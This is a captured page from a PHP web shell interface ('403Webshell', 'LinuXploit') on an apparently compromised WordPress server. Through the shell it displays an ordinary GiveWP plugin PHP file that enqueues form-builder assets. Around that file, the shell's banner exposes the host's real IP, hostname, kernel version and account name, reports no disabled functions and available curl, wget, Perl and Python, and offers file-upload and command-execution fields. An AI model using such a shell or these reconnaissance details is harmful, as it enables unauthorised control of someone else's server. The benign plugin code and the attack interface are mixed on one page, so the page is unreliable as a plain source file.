403Webshell
Server IP : 192.158.238.246  /  Your IP : 3.137.150.203
Web Server : LiteSpeed
System : Linux uniform.iwebfusion.net 4.18.0-553.27.1.lve.1.el8.x86_64 #1 SMP Wed Nov 20 15:58:00 UTC 2024 x86_64
User : jenniferflocom ( 1321)
PHP Version : 8.1.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /proc/7779/task/7779/cwd/plugins/give/src/FormTaxonomies/Actions/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/7779/task/7779/cwd/plugins/give/src/FormTaxonomies/Actions/EnqueueFormBuilderAssets.php
<?php

namespace Give\FormTaxonomies\Actions;

use Give\FormTaxonomies\ViewModels\FormTaxonomyViewModel;
use Give\Framework\Support\Facades\Scripts\ScriptAsset;
use Give\Helpers\Language;

/**
 * @since 3.16.0
 */
class EnqueueFormBuilderAssets
{
    /**
     * @var FormTaxonomyViewModel
     */
    protected $viewModel;

    /**
     * @since 3.16.0
     */
    public function __construct(FormTaxonomyViewModel $viewModel)
    {
        $this->viewModel = $viewModel;
    }

    /**
     * @since 3.16.0
     */
    public function __invoke()
    {
        if($this->viewModel->isFormTagsEnabled() || $this->viewModel->isFormCategoriesEnabled()) {

            $scriptAsset = ScriptAsset::get(GIVE_PLUGIN_DIR . 'build/formTaxonomySettings.asset.php');

            wp_enqueue_script(
                'givewp-builder-taxonomy-settings',
                GIVE_PLUGIN_URL . 'build/formTaxonomySettings.js',
                $scriptAsset['dependencies'],
                $scriptAsset['version'],
                true
            );

            Language::setScriptTranslations('givewp-builder-taxonomy-settings');

            wp_enqueue_style(
                'givewp-builder-taxonomy-settings',
                GIVE_PLUGIN_URL . 'build/style-formTaxonomySettings.css'
            );

            wp_add_inline_script('givewp-builder-taxonomy-settings','var giveTaxonomySettings =' . json_encode([
                    'formTagsEnabled' => $this->viewModel->isFormTagsEnabled(),
                    'formCategoriesEnabled' => $this->viewModel->isFormCategoriesEnabled(),
                    'formTagsSelected' => $this->viewModel->getSelectedFormTags(),
                    'formCategoriesAvailable' => $this->viewModel->getFormCategories(),
                    'formCategoriesSelected' => $this->viewModel->getSelectedFormCategories(),
                ]));
        }
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit